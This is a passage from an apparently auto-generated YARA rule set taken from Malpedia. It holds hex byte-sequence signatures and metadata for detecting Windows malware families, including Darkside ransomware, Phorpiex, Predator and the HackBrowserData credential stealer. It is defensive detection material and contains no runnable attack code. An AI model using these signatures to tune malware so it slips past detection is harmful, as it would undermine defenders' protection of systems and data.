		$sequence_12 = { 7410 b904000000 48 7408 b940000000 48 7400 }
		$sequence_13 = { 8bf8 f3a4 e8???????? 48 }
		$sequence_14 = { 51 50 54 6a04 51 57 ff550c }
		$sequence_15 = { 33c0 39411c 74f7 ff711c 8f4550 e8???????? 8f411c }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Pseudo_Manuscrypt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e6b5074a-ee80-5f17-8d10-821d108c299b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pseudo_manuscrypt_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "c6f7c325b24974deecc4b35c3043dbcf14d37411aa98d6d4fbada988adbed753"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b45ec 8d044502000000 a3???????? 8b4dfc 33cd e8???????? 8be5 }
		$sequence_1 = { 8b8594feffff 8d8df0feffff 8b9ddcfeffff 8bbdd8feffff 99 03c3 898de4feffff }
		$sequence_2 = { 8bf8 ff15???????? 5e 8bc7 5f 5b 8be5 }
		$sequence_3 = { 50 e8???????? 83c404 c70700000000 8b07 c7470800000000 }
		$sequence_4 = { eb6b 8d45a0 50 8d4d8c e8???????? 8b4dc0 85c9 }
		$sequence_5 = { 8bec 83ec14 57 8d45ec c745ec14000000 50 8bf9 }
		$sequence_6 = { 7407 b801000000 5e c3 8b86c0000000 85c0 7411 }
		$sequence_7 = { 390d???????? 0f94c0 c3 a1???????? c3 8bff 55 }
		$sequence_8 = { ff15???????? 83c40c 8d8d1cf7ffff 51 6802000080 ff15???????? 5f }
		$sequence_9 = { 56 57 8bf9 b9???????? e8???????? 8d45ac 50 }
	condition:
		7 of them and filesize < 753664
}

rule MALPEDIA_Win_Moontag_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cd77d4b0-0d98-5f5e-a57c-397ee34a65ee"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moontag"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moontag_auto.yar#L1-L168"
		license_url = "N/A"
		logic_hash = "8b060f50d5b5253ee18a9ffafa5845b2d3ee94dd99bd63bfd885c3444be1c8ca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4833c4 4889842430040000 488bd9 498d7b10 e8???????? 48897c2428 }
		$sequence_1 = { 4885d2 480f4415???????? 483b15???????? 480f4405???????? 488905???????? c3 4885c9 }
		$sequence_2 = { 4881ec60010000 488b05???????? 4833c4 48894550 488d4c2440 }
		$sequence_3 = { 4d8be6 482bea 4d2be7 4d3bf7 7343 }
		$sequence_4 = { 48c74424680f000000 c644245000 483bd9 0f82c0010000 482bd9 49c7c0ffffffff 493bd8 }
		$sequence_5 = { 4883c420 5f c3 488bca e8???????? 488bf8 4885c0 }
		$sequence_6 = { 488b36 4885f6 758a e9???????? 48837e3800 }
		$sequence_7 = { c3 48833a00 7508 488b4208 49894008 }
		$sequence_8 = { 03c1 68???????? 50 ffd3 83c40c 85c0 }
		$sequence_9 = { 033d???????? 837d8400 0f4e3d???????? 83c734 }
		$sequence_10 = { 03c1 3bf8 0f42f8 33c9 8bc7 83c001 56 }
		$sequence_11 = { 014e08 b801000000 5f 5e 5b 8b4c2458 }
		$sequence_12 = { 03c1 50 898570ecffff 8d8574ecffff }
		$sequence_13 = { 03c2 3bf8 0f838f010000 8b0d???????? }
		$sequence_14 = { 03c1 8b0d???????? a3???????? 3bc1 }
		$sequence_15 = { 03421c 03c6 3bc8 760c }
	condition:
		7 of them and filesize < 203776
}

rule MALPEDIA_Win_No_Justice_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5b7b9773-a26f-59ba-b88a-0b2ca96e9a3c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.no_justice"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.no_justice_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "8d1e9903aebd9a1a139d570c6e8c7d10c9b765f1e0f83bd5a67cde88d712e8e8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7720 0fb680ac5c4000 ff2485985c4000 33c0 40 5d }
		$sequence_1 = { 8a0a 884c382e 8b45bc 8b048570be4100 804c382d04 }
		$sequence_2 = { 0f84e8000000 8b04952c6b4100 898588f8ffff 85c0 0f84ad000000 3bc3 0f84cb000000 }
		$sequence_3 = { e8???????? c9 c3 c705????????08b14100 b001 }
		$sequence_4 = { c1e002 50 8b85a8f8ffff 0fb70485946a4100 8d048590614100 50 8d8590faffff }
		$sequence_5 = { 8b148d70be4100 0355b0 8a0c03 03d3 43 }
		$sequence_6 = { c745e003000000 c745e4508e4100 e9???????? 83e80f }
		$sequence_7 = { 57 e8???????? 59 59 e9???????? 8b049570be4100 f644082840 }
		$sequence_8 = { f7d0 a801 74a5 8b55ec 33f6 8b049570be4100 }
		$sequence_9 = { 0f8414020000 eb4f 0fb602 0fbe8860b74100 41 894db4 3bcf }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Bluelight_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6e926d75-3ab2-5756-a7ce-3e5a6c0d0aa0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluelight"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bluelight_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "41a5ac3b75dc9289131b8472b69bdf4cdf3bf64ebeaeb2e76e9bbd4dca7df902"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff771c ff15???????? ff771c 8b7714 ff15???????? 5f 8bc6 }
		$sequence_1 = { 884dc7 8955d0 81faa7000000 0f87a8410000 ff249526044300 6b4b0428 6a04 }
		$sequence_2 = { 85db 740f ff7760 53 ff7764 e8???????? 83c40c }
		$sequence_3 = { eb0c 8b4508 8907 c7450800000000 8b4518 894710 8b4520 }
		$sequence_4 = { f64605c0 7415 8d442420 68???????? 50 e8???????? ff44241c }
		$sequence_5 = { e8???????? 8d4d8c 894314 e8???????? 8d4d9c e8???????? 8d4d94 }
		$sequence_6 = { e8???????? b8???????? e9???????? 8d8d60feffff e9???????? 8d4da8 e9???????? }
		$sequence_7 = { ff761c 50 e8???????? 83c410 8d4510 50 ff750c }
		$sequence_8 = { 8b45d4 3bde 7507 8bc8 e8???????? 8a4d9f 33db }
		$sequence_9 = { ff7304 8b4d0c ff73ec 6a2d 5a e8???????? 8943ec }
	condition:
		7 of them and filesize < 2191360
}

rule MALPEDIA_Win_Vflooder_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6da3af77-bf0c-5d0d-ad9f-8f035b957625"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vflooder_auto.yar#L1-L109"
		license_url = "N/A"
		logic_hash = "14b49a20a71548a980ead5d4f60898b254e57c1fbb273dc458944348b271a849"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 9c ff742404 8f4500 9c 60 }
		$sequence_1 = { b02e f5 f2ae e8???????? }
		$sequence_2 = { 0000 43 7265 61 }
		$sequence_3 = { e8???????? 0000 43 7265 }
		$sequence_4 = { e8???????? 0000 43 7265 61 7465 }
		$sequence_5 = { 9c ff742404 8f4500 9c }
		$sequence_6 = { e8???????? 0000 43 7265 61 }
		$sequence_7 = { f5 83ef04 f5 ff37 }
		$sequence_8 = { 9c f2ae 9c 9c }
		$sequence_9 = { 9c 60 9c 9c 8d642430 }
	condition:
		7 of them and filesize < 860160
}

rule MALPEDIA_Win_Predator_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0d522826-628f-52a1-a5d4-de369cb17f76"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.predator"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.predator_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "226e996f5790709cd601960ccd073047c3c37841c157b9e9145c03fdc70dc2d7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8bf1 8d4dfd 57 6a0a }
		$sequence_1 = { 395dec 7508 83c8ff e9???????? ff75ec e8???????? }
		$sequence_2 = { 50 8bcf e8???????? e9???????? 0f2805???????? }
		$sequence_3 = { 7316 8a440dc7 32c2 88440dc7 41 }
		$sequence_4 = { 83c8ff e9???????? ff75ec e8???????? 59 8bf0 }
		$sequence_5 = { 0fa2 8906 895e04 894e08 89560c 834dfcff 8b4df4 }
		$sequence_6 = { 8b00 57 03c2 8bce 50 e8???????? 5f }
		$sequence_7 = { 8906 895e04 894e08 89560c 834dfcff 8b4df4 }
		$sequence_8 = { 395dec 7508 83c8ff e9???????? ff75ec e8???????? 59 }
		$sequence_9 = { ff750c 8bf1 8d4dfd ff7508 }
	condition:
		7 of them and filesize < 2211840
}

rule MALPEDIA_Win_Hackbrowserdata_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fcd73865-5a53-59f1-9e25-a98b05a9abde"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hackbrowserdata"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hackbrowserdata_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "3594c5bb7e78e08e9a84a6093ffe67652863ced1d7b7424d638f7eb8af56002c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffc1 4d89ea 4d89fc 4989fd 4d89e7 41394c2428 0f8e0dfaffff }
		$sequence_1 = { f20f1005???????? 31db 49c7c0ffffffff eb3d 48890437 488bb424a0000000 4883c618 }
		$sequence_2 = { e8???????? 488b542450 48895008 833d????????00 750a 488b9424d8000000 eb10 }
		$sequence_3 = { e8???????? e9???????? 488b1d???????? 4881c368960000 488b442478 488b4c2448 e8???????? }
		$sequence_4 = { ffd3 833d????????00 7507 488b742408 eb15 e8???????? 498903 }
		$sequence_5 = { e9???????? 488d4f54 4889ca 0fb619 ffcb 8819 480fbe0a }
		$sequence_6 = { f20f59d8 f20f581d???????? f20f59d8 f20f581d???????? f20f59d8 f20f581d???????? f20f59d9 }
		$sequence_7 = { ffc1 39d1 7d5d 4889f7 488b7640 4c63c1 4a8d34c6 }
		$sequence_8 = { eb13 4883c420 5d c3 48bfffffffffffff0300 4989da 4585c0 }
		$sequence_9 = { e8???????? 498913 48895018 488b942480000000 488b5c2470 4889f9 4c89c7 }
	condition:
		7 of them and filesize < 42451968
}

rule MALPEDIA_Win_Contopee_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "271fdd0d-6160-55c0-9abb-0c6806deb383"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.contopee_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "0ddd8fa512c666b7cb8e2d0e6704c228e8798333540020ddb32d384a50fcb44c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b35???????? 8d4c2414 6a5c 51 }
		$sequence_1 = { 8d4c2414 6a5c 51 ffd6 83c410 85c0 7411 }
		$sequence_2 = { 84c0 752f a0???????? 84c0 7409 }
		$sequence_3 = { c1ea18 33c3 8b1c9530ea0010 33c3 8b1c8d30f60010 33c3 }
		$sequence_4 = { c3 68b80b0000 ff15???????? e8???????? 8bd8 85db 0f8514010000 }
		$sequence_5 = { c1e807 33d2 8a9094130110 8bc2 66ff848688090000 8b869c160000 8b96a0160000 }
		$sequence_6 = { 668b88780a0110 898a8c000000 33c9 668b887c0a0110 898a90000000 33c9 668b887e0a0110 }
		$sequence_7 = { 5b 81c418010000 c3 56 68???????? 6a00 }
		$sequence_8 = { 7563 8b4c2410 8d442400 56 50 8d1409 8b4c2414 }
		$sequence_9 = { b980000000 33c0 8d7c241c 6a1e }
	condition:
		7 of them and filesize < 180224
}

rule MALPEDIA_Win_8T_Dropper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "35feb768-d2e4-5049-96a0-91c968df3b4f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.8t_dropper_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "feebe835113f0d32e29c6ca8b7fd1bfa62958e168ff440bb0def00a1fd456e8d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c644240c00 f3ab 66ab aa bf???????? 83c9ff }
		$sequence_1 = { 8d4c2408 51 683f000f00 50 52 6801000080 }
		$sequence_2 = { 8bf0 83c408 85f6 741b 56 6800700000 6a01 }
		$sequence_3 = { c6440c0d75 c6440c0e6e 8d4c2408 51 683f000f00 50 52 }
		$sequence_4 = { 85c0 7559 8b4c2408 51 ff15???????? 8d942410010000 6804010000 }
		$sequence_5 = { 8b442418 68???????? 50 ff15???????? 85c0 7559 8b4c2408 }
		$sequence_6 = { 7559 8b4c2408 51 ff15???????? 8d942410010000 }
		$sequence_7 = { c6440c0e6e 8d4c2408 51 683f000f00 50 }
		$sequence_8 = { 51 ff15???????? 8d942410010000 6804010000 }
		$sequence_9 = { f7d1 49 c6440c0c52 c6440c0d75 c6440c0e6e 8d4c2408 }
	condition:
		7 of them and filesize < 147456
}

rule MALPEDIA_Win_Darkside_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "aefc41a3-b8c0-5b26-a4f2-4bd0717ef6d0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkside_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "19da14f3a366acd3b23a4b82b0e78c008b7088d377404cdf8c0d0057a334f0f7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 59 5b 5d c20800 55 8bec 53 }
		$sequence_1 = { 895c0e04 893c0e 81ea10101010 2d10101010 81eb10101010 81ef10101010 }
		$sequence_2 = { 75d2 5f 5e 5a 59 }
		$sequence_3 = { 8b4508 8b10 8b5804 8b7808 8b400c 89540e0c 89440e08 }
		$sequence_4 = { be???????? 8b4508 8b10 8b5804 8b7808 8b400c }
		$sequence_5 = { b9f0000000 be???????? 8b4508 8b10 }
		$sequence_6 = { e8???????? 5f 5e 5a 59 5b 5d }
		$sequence_7 = { 85c0 7418 8bd8 68ff000000 57 }
		$sequence_8 = { 57 e8???????? 81c7ff000000 4b 85db 75ea }
		$sequence_9 = { 75da eb06 33db fec1 75d2 5f 5e }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Fatduke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "adb8db95-b0a4-5276-93ef-e2fa83c10075"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatduke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fatduke_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "e52f36e4d51bd81125ac15c50f357b773a2dec05d6d491e80497ca4c3e0bf041"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c404 c7451c07000000 c7451800000000 33c0 66894508 c745fcffffffff }
		$sequence_1 = { e8???????? c745fc00000000 33c0 8b4d08 c706???????? f6c101 7505 }
		$sequence_2 = { 8b4004 8a540840 8855ee 8b4c0838 8b4120 833800 7423 }
		$sequence_3 = { c784248800000000000000 c784248c00000000000000 c784248c0000000f000000 c784248800000000000000 c644247800 803a00 7504 }
		$sequence_4 = { a1???????? 33c4 50 8d442430 64a300000000 8bf1 ff74240c }
		$sequence_5 = { 8b450c 8901 8bc1 8b4df4 64890d00000000 59 5f }
		$sequence_6 = { c745e000000000 8d45b4 50 8d45e0 50 6a01 8d45e8 }
		$sequence_7 = { e9???????? 8b4df0 81c104030000 e9???????? 8b4df0 81c11c030000 e9???????? }
		$sequence_8 = { c745fc00000000 8b450c 894114 8b4510 894118 8b4514 89411c }
		$sequence_9 = { 8d45d8 50 8d5508 8d4dc0 e8???????? 83c404 c645fc02 }
	condition:
		7 of them and filesize < 9012224
}

rule MALPEDIA_Win_Doppeldridex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "daa7948f-1af7-5dc7-b72c-52142db6eff9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doppeldridex_auto.yar#L1-L180"
		license_url = "N/A"
		logic_hash = "c03ed87815d6a97d4f986f8009113427e6594093f0809ec3f0f49a2c2120349d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf0 33c0 48 8bfe 8bda 2bf8 2bd8 }
		$sequence_1 = { e8???????? e9???????? 55 83ec68 33d2 42 }
		$sequence_2 = { 8b74243c 6a30 8b2f 56 8d4c2408 c6450000 e8???????? }
		$sequence_3 = { 6880000000 ffb4249c010000 ffb424b4010000 ffb42498000000 56 8d4c2428 8d91e0000000 }
		$sequence_4 = { 33c0 48 2bc8 2bd0 0bca 0f84b1000000 8d9424a4010000 }
		$sequence_5 = { 8b02 40 8902 83f80a 0f85fefdffff e9???????? c784249000000000000000 }
		$sequence_6 = { ff742410 50 6a00 52 ff742428 }
		$sequence_7 = { 2bf8 2bd8 0bfb 0f8443030000 8d942490000000 8b02 }
		$sequence_8 = { eb2b 31c0 8b4d88 83c104 }
		$sequence_9 = { 0f92c4 8a6db3 20cd 20e5 f6c501 8955b4 7518 }
		$sequence_10 = { 8b458c 8944240c 8b55a4 ffd2 83ec10 }
		$sequence_11 = { 894de4 e8???????? 83f800 8945e0 74c2 }
		$sequence_12 = { e8???????? 31c0 8945e8 eb51 31c0 }
		$sequence_13 = { 01de 8b06 8bb550ffffff 8b5e08 8b4da8 01f9 890c24 }
		$sequence_14 = { 6683ff00 89d3 8945b8 8955d0 8975d4 895ddc }
		$sequence_15 = { 8b4df0 39c8 8945dc 72d2 ebb6 55 89e5 }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Phorpiex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9ce70e39-752b-5d3f-89f2-76accce1eb4a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phorpiex_auto.yar#L1-L274"
		license_url = "N/A"
		logic_hash = "46ea47179a9ad601c3537e5e9a3e48103f2b8131777a3f05f545f317a9791487"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 ff15???????? ff15???????? 50 e8???????? }
		$sequence_1 = { ff15???????? 85c0 740f 6a07 }
		$sequence_2 = { ff15???????? 85c0 741f 6880000000 }
		$sequence_3 = { 6a00 6a20 6a00 6a00 6a00 8b5508 }
		$sequence_4 = { e8???????? 83c410 6a00 6a02 6a02 6a00 }
		$sequence_5 = { 6a01 6a00 68???????? e8???????? 83c40c 33c0 }
		$sequence_6 = { e8???????? 99 b90d000000 f7f9 }
		$sequence_7 = { 50 e8???????? 83c404 e8???????? e8???????? ff15???????? }
		$sequence_8 = { 68???????? ff15???????? 8d85f8fdffff 50 68???????? }
		$sequence_9 = { 6a00 ff15???????? 85c0 7418 ff15???????? }
		$sequence_10 = { 6a01 ff15???????? ff15???????? b001 }
		$sequence_11 = { 6a00 682a800000 6a00 ff15???????? }
		$sequence_12 = { 52 683f000f00 6a00 68???????? 6802000080 ff15???????? 85c0 }
		$sequence_13 = { 7416 8b4df8 51 ff15???????? 8b55fc 52 e8???????? }
		$sequence_14 = { f7f9 81c210270000 52 e8???????? }
		$sequence_15 = { 85c0 752b 8b8510ffffff 83c001 }
		$sequence_16 = { 6a01 ff15???????? 8945f8 837df800 7429 8b45f8 }
		$sequence_17 = { 68???????? ff15???????? e9???????? 8d45fc }
		$sequence_18 = { 50 e8???????? 59 59 85c0 7573 }
		$sequence_19 = { 3d00010000 7504 83c8ff c3 }
		$sequence_20 = { 7508 6a00 ff15???????? 6804010000 }
		$sequence_21 = { 6a21 50 e8???????? c60000 }
		$sequence_22 = { 52 e8???????? 99 b960ea0000 f7f9 }
		$sequence_23 = { 56 ff15???????? b001 5e 81c408020000 }
		$sequence_24 = { 68???????? 8d942410010000 6804010000 52 e8???????? }
		$sequence_25 = { 40 84c9 75f9 8b0cb3 2bc2 50 }
		$sequence_26 = { 41 663bc2 72f7 53 33c0 }
		$sequence_27 = { 56 57 68e8030000 ff15???????? e8???????? be???????? }
		$sequence_28 = { 50 8d45ec 50 6805000020 }
		$sequence_29 = { 8d45f8 50 8d45e4 50 6805000020 }
	condition:
		7 of them and filesize < 2490368
}

rule MALPEDIA_Win_Orangeade_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a790e493-320f-57de-9b62-d13796c94676"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orangeade_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "bc9cfd6680cc4f32cd41e9edf43afa43b54975c598906df96ea95e31fa6c1612"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bb42428050000 50 8bce e8???????? c744241001000000 }
		$sequence_1 = { 50 8d942470020000 51 52 ff15???????? }
		$sequence_2 = { f3ab 66ab aa 8d842468020000 50 }
		$sequence_3 = { 6881000000 6a00 c784249428010000000000 ff15???????? 8bf0 56 }
		$sequence_4 = { aa b93f000000 33c0 8dbc2465010000 }
		$sequence_5 = { 8d4c2424 c684248828010002 e8???????? 8d4c2410 c684248828010001 e8???????? 8d4c2414 }
		$sequence_6 = { b93f000000 33c0 8d7c2479 885c2478 f3ab }
		$sequence_7 = { 68???????? 8d4c2410 e8???????? 68???????? 6884000000 53 ff15???????? }
		$sequence_8 = { e8???????? 83c404 8d4c2424 c684248828010002 }
		$sequence_9 = { 50 8d4c2410 c684248400000001 e8???????? }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Carberp_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a6dabcbc-eb1a-5db4-81e2-886d378b4be1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp"
